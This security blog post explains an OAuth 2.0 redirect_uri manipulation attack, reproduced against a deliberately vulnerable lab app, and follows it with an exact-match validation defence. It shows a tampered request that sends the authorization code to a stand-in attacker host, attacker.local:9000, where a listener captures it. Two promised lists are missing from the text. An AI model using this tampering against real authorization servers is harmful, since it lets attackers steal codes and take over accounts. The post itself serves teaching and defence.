Skip to content
cctbp
Go back

Redirect URI Manipulation: Stealing the Authorization Code at the Door

cctbp.com | Tom Stacy, CISSP®


Setup: where the code gets delivered

In the last post we built an isolated, scriptable interception lab: mitmproxy sitting in front of a browser inside a containerized, egress-controlled environment, with mitmweb as the interactive interface. That lab was the groundwork. This post is the first real attack we run inside it.

The target is the OAuth 2.0 authorization code flow, and specifically one parameter in it: redirect_uri.

A quick refresher on the flow, from the attacker’s seat. The client sends the user’s browser to the authorization server with a request that looks like this:

GET /authorize?response_type=code
  &client_id=flawed-client
  &redirect_uri=https://client.local/callback
  &scope=profile
  &state=xyz123 HTTP/1.1
Host: auth.local

The authorization server authenticates the user, gets consent, and sends the browser back to the redirect_uri carrying the prize:

HTTP/1.1 302 Found
Location: https://client.local/callback?code=SplxlOBeZQ&state=xyz123

The client’s backend then exchanges that code at the token endpoint for an access token. Everything downstream, the token, the session, the account, hangs off that authorization code arriving at the right place.

The redirect_uri is what decides “the right place.” That makes it an authorization decision wearing the costume of a routing convenience.

The Seam: validation that is present but not strict

The OAuth spec is unambiguous here. The authorization server must validate the redirect_uri in the authorization request against a value the client pre-registered, and RFC 6749 calls for exact matching. In practice this is one of the most consistently weakened controls in real deployments, because “exact” is inconvenient during development and the shortcuts survive into production.

The failure modes worth knowing:

Every one of these ends the same way: the authorization code, and whatever it unlocks, is delivered somewhere the client never intended.

Reproducing It: FlawedToken, flaw-02, in the lab

FlawedToken is a deliberately broken OAuth client and authorization server with each flaw toggled by an environment variable. It is the target we will point the lab at. The relevant toggle here is FLAW_REDIRECT_URI_VALIDATION, which ships on, meaning the misconfiguration is active by default and the server performs no strict validation.

Stand it up:

git clone https://github.com/tstacy/flawedtoken.git
cd flawedtoken
cp .env.example .env
# confirm FLAW_REDIRECT_URI_VALIDATION=on in .env
docker compose up

Point your lab browser through mitmweb at the client, and start a normal login. You will see the authorization request go out with the legitimate redirect_uri. Now intercept that request in mitmweb and change one thing:

# original
redirect_uri=http://localhost:8000/callback

# tampered
redirect_uri=http://attacker.local:9000/callback

Forward the request. Because validation is disabled, the authorization server accepts the substituted destination, and the 302 that comes back carries the authorization code to the attacker-controlled URI instead of the client:

HTTP/1.1 302 Found
Location: http://attacker.local:9000/callback?code=a1b2c3d4&state=xyz123

Stand up anything that logs requests on attacker.local:9000 (a second mitmdump instance is convenient) and you will capture the code as it lands. The authorization server did exactly what it was told, because nothing told it the destination was wrong.

That is the entire attack. There is no memory corruption, no cracked crypto, just a control that was supposed to be strict and was not.

Defender Perspective: making the door pick exact locks

Flip the toggle and watch it fail correctly. Note that the variable names the flaw, not the control, so off disables the flaw and turns strict validation back on. The toggle is read from .env at runtime, so you recreate the containers rather than rebuild the image:

# in .env
FLAW_REDIRECT_URI_VALIDATION=off
docker compose up --force-recreate

With the flaw disabled, the authorization server checks the incoming redirect_uri against the client’s registered allow-list by exact match, rejects the tampered value, and returns 400 invalid_redirect_uri with no code issued. That is the target state. Getting there in a real system means:

The uncomfortable part for defenders is that this control is invisible when it works and silent when it fails. Nothing crashes. The flow completes. The only difference is who received the code, and that is not something the user or the client sees.

Takeaway

redirect_uri is not routing metadata. It is the authorization server deciding who is allowed to receive the keys to a session, and any validation weaker than exact matching hands that decision to whoever is willing to tamper with a request. In the lab this took one intercepted parameter. In production it takes the same.


🚀 Want to run these flows without standing up the lab yourself? If you’re testing authorization architectures and want a hosted, isolated environment for authorized OAuth interception, join the ShroudCloud waitlist.


Tom Stacy, CISSP®, is an authentication and identity security specialist. He writes at cctbp.com and is building ShroudCloud™, an engagement infrastructure for auth and session security.


Share this post on:

Next Post
The Local Lab Blueprint: Building an Isolated, Scriptable Interception Lab